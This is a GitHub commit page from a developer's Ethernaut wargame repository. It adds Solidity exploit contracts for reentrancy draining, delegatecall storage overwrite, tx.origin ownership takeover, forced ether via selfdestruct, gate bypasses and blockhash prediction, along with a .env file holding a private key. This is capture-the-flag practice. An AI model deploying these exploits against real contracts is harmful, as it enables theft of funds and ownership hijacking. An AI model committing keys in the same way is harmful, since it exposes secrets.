Skip to content

Commit

Permalink
solve shit
Browse files Browse the repository at this point in the history
fix king attack

complete gatekeeper two

pass lvl15

fix solidity vs code settings

solve ethernaut lvl 16

solve ethernaut lvl17

solve ethernaut lvl 18
  • Loading branch information
0xgleb committed Jul 9, 2024
1 parent 4269988 commit 7209db8
Show file tree
Hide file tree
Showing 61 changed files with 5,856 additions and 8 deletions.
1 change: 1 addition & 0 deletions .env
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
FOUNDRY_VERBOSITY=3
FOUNDRY_TX_ORIGIN=0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
FOUNDRY_SENDER=0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
PRIVATE_KEY=0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6
4 changes: 2 additions & 2 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,9 @@
"[rust]": {
"editor.defaultFormatter": "rust-lang.rust-analyzer"
},
"solidity.packageDefaultDependenciesContractsDirectory": "attack/contracts",
"solidity.packageDefaultDependenciesContractsDirectory": "contracts",
"solidity.packageDefaultDependenciesDirectory": "lib",
"solidity.monoRepoSupport": true,
"solidity.monoRepoSupport": false,
"solidity.formatter": "forge",
"solidity.linter": "",
"[solidity]": {
Expand Down
33 changes: 33 additions & 0 deletions attack/contracts/ethernaut/CoinFlipExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipExploit {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip target;

constructor(address _coinFlip) {
target = CoinFlip(_coinFlip);
}

function flip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

bool result = target.flip(side);

require(result);
}
}
42 changes: 42 additions & 0 deletions attack/contracts/ethernaut/Donatexploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface Reentrance {
function balances(address) external view returns (uint256);
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint256 balance);
function withdraw(uint256 _amount) external;
}

contract Donatexploit {
address payable public owner;
address public target;

bool private _reenter = true;
uint256 private _amount;

constructor(address _target) public {
owner = payable(msg.sender);
target = _target;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function attack() public payable onlyOwner {
Reentrance reentr = Reentrance(payable(target));
reentr.donate{value: msg.value}(address(this));
_amount = reentr.balanceOf(address(this));
reentr.withdraw(_amount);
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
(bool _,) = target.call(abi.encodeWithSignature("withdraw(uint256)", _amount));
}
}
27 changes: 27 additions & 0 deletions attack/contracts/ethernaut/ElevatorExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

interface Elevator {
function top() external returns (bool);
function floor() external returns (uint256);
function goTo(uint256 _floor) external;
}

contract ElevatorExploit is Building {
bool private _last = true;

function attack(address _target) public {
Elevator _elevator = Elevator(payable(_target));
_elevator.goTo(0);
require(_elevator.top(), "Didn't get to the top");
}

function isLastFloor(uint256) external returns (bool) {
_last = !_last;
return _last;
}
}
16 changes: 16 additions & 0 deletions attack/contracts/ethernaut/ForceExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceExploit {
address private owner;

constructor() payable {
require(msg.value > 0);
owner = msg.sender;
}

function hack(address _target) public {
require(msg.sender == owner && address(this).balance > 0);
selfdestruct(payable(_target));
}
}
14 changes: 14 additions & 0 deletions attack/contracts/ethernaut/Gatexploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function entrant() external view returns (address);
function enter(bytes8 _gateKey) external returns (bool);
}

contract Gatexploit {
function attack(address _target) public {
GatekeeperOne gatekeeper = GatekeeperOne(payable(_target));
gatekeeper.enter{gas: (3 * 8191) + 268}(0x0000972000009720);
}
}
13 changes: 13 additions & 0 deletions attack/contracts/ethernaut/GatexploitTwo.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatexploitTwo {
constructor(address _target) {
bytes8 _gateKey = bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
_target.call(abi.encodeWithSignature("enter(bytes8)", _gateKey));
}
}
33 changes: 33 additions & 0 deletions attack/contracts/ethernaut/KingExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface King {
function prize() external view returns (uint256);
function owner() external view returns (address);
function _king() external view returns (address);
}

contract KingExploit {
address payable owner;
King king;

constructor(address _king) payable {
owner = payable(msg.sender);
king = King(payable(_king));
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function becomeKing() public onlyOwner {
uint256 prize = king.prize();
(bool success,) = address(king).call{value: prize}("");
require(success, "becomeKing() failed because call failed");
}

receive() external payable {
owner.transfer(address(this).balance + 1);
}
}
17 changes: 17 additions & 0 deletions attack/contracts/ethernaut/MagicNumExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNumExploit {
function whatIsTheMeaningOfLife() public pure {
// PUSH32 0x2a
// PUSH1 0
// MSTORE
// PUSH1 1
// PUSH1 0x1f
// RETURN
assembly {
mstore(0x00, 0x2A)
return(0x00, 0x1F)
}
}
}
20 changes: 20 additions & 0 deletions attack/contracts/ethernaut/PreservationExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPreservation {
function setFirstTime(uint256 _timeStamp) external;
function setSecondTime(uint256 _timeStamp) external;
}

contract PreservationExploit {
constructor(address payable target_) {
IPreservation target = IPreservation(target_);
target.setSecondTime(uint256(uint160(address(this))));
}

fallback() external {
assembly {
sstore(2, 0x000000000000000000000000a0Ee7A142d267C1f36714E4a8F75612F20a79720)
}
}
}
16 changes: 16 additions & 0 deletions attack/contracts/ethernaut/TelephoneExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
function owner() external view returns (address);
function changeOwner(address _owner) external;
}

contract TelephoneExploit {
constructor(address _telephone) {
Telephone telephone = Telephone(_telephone);
address offender = address(0xa0Ee7A142d267C1f36714E4a8F75612F20a79720);
telephone.changeOwner(offender);
require(telephone.owner() == offender);
}
}
135 changes: 135 additions & 0 deletions attack/src/abi/building.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
pub use building::*;
/// This module was auto-generated with ethers-rs Abigen.
/// More information at: <https://github.com/gakonst/ethers-rs>
#[allow(
clippy::enum_variant_names,
clippy::too_many_arguments,
clippy::upper_case_acronyms,
clippy::type_complexity,
dead_code,
non_camel_case_types
)]
pub mod building {
#[allow(deprecated)]
fn __abi() -> ::ethers::core::abi::Abi {
::ethers::core::abi::ethabi::Contract {
constructor: ::core::option::Option::None,
functions: ::core::convert::From::from([(
::std::borrow::ToOwned::to_owned("isLastFloor"),
::std::vec![::ethers::core::abi::ethabi::Function {
name: ::std::borrow::ToOwned::to_owned("isLastFloor"),
inputs: ::std::vec![::ethers::core::abi::ethabi::Param {
name: ::std::string::String::new(),
kind: ::ethers::core::abi::ethabi::ParamType::Uint(
256usize,
),
internal_type: ::core::option::Option::Some(
::std::borrow::ToOwned::to_owned("uint256"),
),
},],
outputs: ::std::vec![::ethers::core::abi::ethabi::Param {
name: ::std::string::String::new(),
kind: ::ethers::core::abi::ethabi::ParamType::Bool,
internal_type: ::core::option::Option::Some(
::std::borrow::ToOwned::to_owned("bool"),
),
},],
constant: ::core::option::Option::None,
state_mutability:
::ethers::core::abi::ethabi::StateMutability::NonPayable,
},],
)]),
events: ::std::collections::BTreeMap::new(),
errors: ::std::collections::BTreeMap::new(),
receive: false,
fallback: false,
}
}
///The parsed JSON ABI of the contract.
pub static BUILDING_ABI: ::ethers::contract::Lazy<
::ethers::core::abi::Abi,
> = ::ethers::contract::Lazy::new(__abi);
pub struct Building<M>(::ethers::contract::Contract<M>);
impl<M> ::core::clone::Clone for Building<M> {
fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) }
}
impl<M> ::core::ops::Deref for Building<M> {
type Target = ::ethers::contract::Contract<M>;
fn deref(&self) -> &Self::Target { &self.0 }
}
impl<M> ::core::ops::DerefMut for Building<M> {
fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 }
}
impl<M> ::core::fmt::Debug for Building<M> {
fn fmt(
&self,
f: &mut ::core::fmt::Formatter<'_>,
) -> ::core::fmt::Result {
f.debug_tuple(::core::stringify!(Building))
.field(&self.address())
.finish()
}
}
impl<M: ::ethers::providers::Middleware> Building<M> {
/// Creates a new contract instance with the
/// specified `ethers` client at `address`.
/// The contract derefs to a `ethers::Contract`
/// object.
pub fn new<T: Into<::ethers::core::types::Address>>(
address: T,
client: ::std::sync::Arc<M>,
) -> Self {
Self(::ethers::contract::Contract::new(
address.into(),
BUILDING_ABI.clone(),
client,
))
}
///Calls the contract's `isLastFloor` (0x5f9a4bca)
/// function
pub fn is_last_floor(
&self,
p0: ::ethers::core::types::U256,
) -> ::ethers::contract::builders::ContractCall<M, bool> {
self.0
.method_hash([95, 154, 75, 202], p0)
.expect("method not found (this should never happen)")
}
}
impl<M: ::ethers::providers::Middleware>
From<::ethers::contract::Contract<M>> for Building<M>
{
fn from(contract: ::ethers::contract::Contract<M>) -> Self {
Self::new(contract.address(), contract.client())
}
}
///Container type for all input parameters for the
/// `isLastFloor` function with signature
/// `isLastFloor(uint256)` and selector `0x5f9a4bca`
#[derive(
Clone,
::ethers::contract::EthCall,
::ethers::contract::EthDisplay,
Default,
Debug,
PartialEq,
Eq,
Hash,
)]
#[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")]
pub struct IsLastFloorCall(pub ::ethers::core::types::U256);
///Container type for all return fields from the
/// `isLastFloor` function with signature
/// `isLastFloor(uint256)` and selector `0x5f9a4bca`
#[derive(
Clone,
::ethers::contract::EthAbiType,
::ethers::contract::EthAbiCodec,
Default,
Debug,
PartialEq,
Eq,
Hash,
)]
pub struct IsLastFloorReturn(pub bool);
}
Loading

0 comments on commit 7209db8

Please sign in to comment.